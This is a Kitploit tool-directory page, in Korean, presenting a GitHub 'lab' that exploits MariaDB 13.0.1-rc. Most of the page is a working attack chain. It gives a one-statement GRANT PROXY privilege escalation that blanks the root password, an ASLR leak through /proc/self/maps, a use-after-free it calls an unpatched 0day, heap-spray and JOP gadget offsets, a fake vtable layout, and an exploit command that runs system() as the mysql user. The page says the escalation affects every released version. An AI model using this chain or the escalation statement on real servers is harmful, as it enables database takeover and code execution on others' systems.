Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc RCE 랩 — 기본 Docker 이미지에서 uid 999(mysql)로 system()을 실행하기 위한 권한 상승 + 힙 UAF + JOP 체인. RAPTOR 및 raptor-loop-hunt로 발견됨. | Kitploit
도구/GitHubGitHub/dinosn/mariadb-13-rce-lab
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingPayload DevelopmentDatabase SecurityBinary ExploitationLabs & Practice
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE 랩 — 기본 Docker 이미지에서 uid 999(mysql)로 system()을 실행하기 위한 권한 상승 + 힙 UAF + JOP 체인. RAPTOR 및 raptor-loop-hunt로 발견됨.

저장소 보기
33611개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MariaDB 13.0.1-rc RCE 실습 환경

수정되지 않은 순정 MariaDB 13.0.1-rc Docker 이미지에서 uid 999(mysql)로 원격 코드 실행(RCE)을 수행합니다.

두 가지 익스플로잇 변형:

변형파일요구 사항비고
순수 SQL (권장)exploit_pure_sql.py낮은 권한의 MariaDB 계정 + TCP호스트 접근 불필요, docker 불필요, /proc/mem 불필요, root 비밀번호 불필요
호스트 지원 PoCexploit.pyDocker 호스트의 root 권한/proc/<pid>/mem을 통해 JOP 체인 작성

테스트 및 검증 완료: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4회 실행, 각각 새로운 ASLR 베이스 사용).

순수 SQL 공격 모델 (exploit_pure_sql.py)

공격자는 오직 다음만 보유합니다:

  • USAGE 권한만 있는 MariaDB 계정(compose의 lowpriv 사용자) + 해당 비밀번호, 그리고
  • 포트 3306에 대한 TCP 연결 가능성.

전체 체인은 SQL 문으로 실행됩니다. 호스트 측 프로세스 접근, docker 명령, 사전에 알려진 주소가 필요 없습니다. 모든 런타임 주소는 SQL을 통해 대상 자체에서 알아냅니다:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

남은 유일한 SQL 외 작업은 익스플로잇 이후 정리 작업뿐입니다: (이미 크래시된) 컨테이너를 재시작하고 마커 파일을 표시하는 것 - 익스플로잇의 일부가 아닙니다.

기존 호스트 측 헬퍼 교체

사용법 (순수 SQL)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

필요한 것은 mariadb/mysql 클라이언트와 Python 3뿐입니다. --container는 최종 마커 표시(재시작 + cat)에 사용되며, 다른 방법으로 마커를 검증한다면 생략할 수 있습니다.

출력의 예상 마지막 부분:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

취약점 체인 (두 변형 공통)

1. F-09 — 권한 상승 (모든 사용자 → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA ''는 모든 권한 검사를 우회합니다. 빈 인증 절은 LEX_USER::has_auth()가 false를 반환하게 하여(check_alter_user()를 건너뜀), replace_user_table()은 여전히 빈 비밀번호를 적용합니다 — root의 자격 증명을 대체합니다. SQL 문 하나로, 인증된 모든 사용자가, 모든 릴리스된 MariaDB 버전에서 가능합니다.

2. /proc/self/maps를 통한 ASLR 무력화

LOAD DATA INFILE '/proc/self/maps'는 SQL 내부에서 mariadbd 프로세스의 전체 메모리 레이아웃을 읽어 PIE 베이스와 libc 베이스 주소를 노출합니다. 순정 이미지에서 secure_file_priv = NULL(미설정) 상태로 동작합니다.

3. F-05 — SYS_REFCURSOR use-after-free (0day, 업스트림 미수정)

sp_cursor_array::get_cursor_by_ref()는 성장 시 my_realloc에 의해 백업 저장소가 재배치되는 Dynamic_array의 내부 포인터를 반환합니다. 커서의 open() 메서드가 추가 커서를 여는 공격자 제어 SQL을 실행하면 배열이 커지고, 이전 저장소가 해제되어 호출자의 캐시된 포인터가 댕글링 상태가 됩니다.

해제된 청크(커서 16개 x 112바이트 = 1792바이트)는 각각 1784바이트인 사용자 변수 복사본 128개의 힙 스프레이로 재점유됩니다(glibc 청크에 정확히 맞음). 스프레이 페이로드는 오프셋 0x20(sp_cursor의 result 멤버)에 제어된 vtable 포인터를 배치하며, 이후 가상 디스패치에 사용됩니다:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. JOP 체인 → system()

순정 mariadbd 바이너리의 두 JOP 가젯(ROP 없음, 스택 피벗 없음):

가젯오프셋명령어용도
D2PIE+0x80da77call *0x100(%rax)스택 정렬 수정
D1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]cmd 포인터 로드, system() 호출

가짜 vtable V는 128MiB 버퍼에 존재합니다; 레이아웃:

root@kitploit:~
V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. 순수 SQL 주소 발견 기법 (신규)

버퍼 주소를 알기 전에 자기 참조 JOP 데이터를 작성해야 하는 닭-달걀 문제는 glibc의 mmap 동작으로 해결됩니다:

  1. 128MiB 마커 버퍼 할당 → 전용 mmap 영역(0x8001000, 데이터는 영역+0x30) → /proc/self/maps diff로 주소 확인
  2. 전체 레이아웃으로 버퍼 재할당(자기 참조 = V+0x140) → glibc가 이전 청크를 munmap하고 동일한 슬롯을 재사용 → 주소 안정적
  3. 각 단계는 /proc/self/maps를 다시 읽어 검증; 주소가 이동한 경우 자기 참조를 다시 굽고 쓰기를 재시도(실제로는 한 번의 반복으로 수렴)

호스트 지원 변형 (exploit.py)

동일한 체인이지만 JOP 레이아웃이 Docker 호스트에서 /proc/<pid>/mem을 통해 프로세스에 기록되고(root 필요), 페이로드 스크립트는 docker exec로 생성되며, compose 파일의 root 비밀번호로 연결합니다. 역사적 PoC로 유지됩니다; 순수 SQL 변형이 이를 대체합니다.

참고 사항

  • F-05 SYS_REFCURSOR UAF는 2026-08-03 현재 업스트림에서 미수정 상태입니다 (13.0.1 태그와 HEAD 사이 sql/sp_cursor.{cc,h}에 대한 커밋 0개).
  • F-09 권한 상승 수정(dbd60d0ad8d, MDEV-40470)은 개발 브랜치에 있지만 모든 릴리스 버전에는 없습니다(13.0.1부터 10.6.27까지 확인).
  • 128MiB를 선택한 이유는 glibc의 동적 mmap 임계값이 대규모 해제 후 4MiB를 초과하여 커질 수 있기 때문입니다; 128MiB는 안정적으로 전용 mmap 영역을 얻습니다(128 및 256MiB에서 확인; max_allowed_packet보다 큰 크기는 실패하므로 SET GLOBAL max_allowed_packet을 먼저 올리고 새 연결을 사용합니다).
  • 이 이미지/glibc에서 mmap 영역 내 데이터 오프셋은 +0x30입니다 (여러 실행에서 확인; 달라지면 DATA_OFF를 업데이트하세요).

발견 도구

  • RAPTOR — 자율 공격/방어 연구 프레임워크
  • raptor-loop-hunt — 반복적 취약점 탐색 플러그인
도구 다운로드
기존 헬퍼 (exploit.py)순수 SQL 대체
docker inspect → PID + 호스트 측 /proc/<pid>/mapsLOAD DATA INFILE '/proc/self/maps'
JOP 체인 작성을 위한 호스트 측 /proc/<pid>/mem 쓰기할당 시 CONCAT/UNHEX로 레이아웃 내장; SQL 측 maps diff로 주소 획득; mmap 슬롯 재사용으로 자기 참조 유효
docker exec ... echo CMD > /tmp/payload_cmd.sh명령 문자열이 JOP 레이아웃에 직접 내장
mariadb -uroot -plabpass (root 비밀번호)낮은 권한 계정에서 GRANT PROXY 권한 상승
docker exec ... cat MARKER증명 표시에만 사용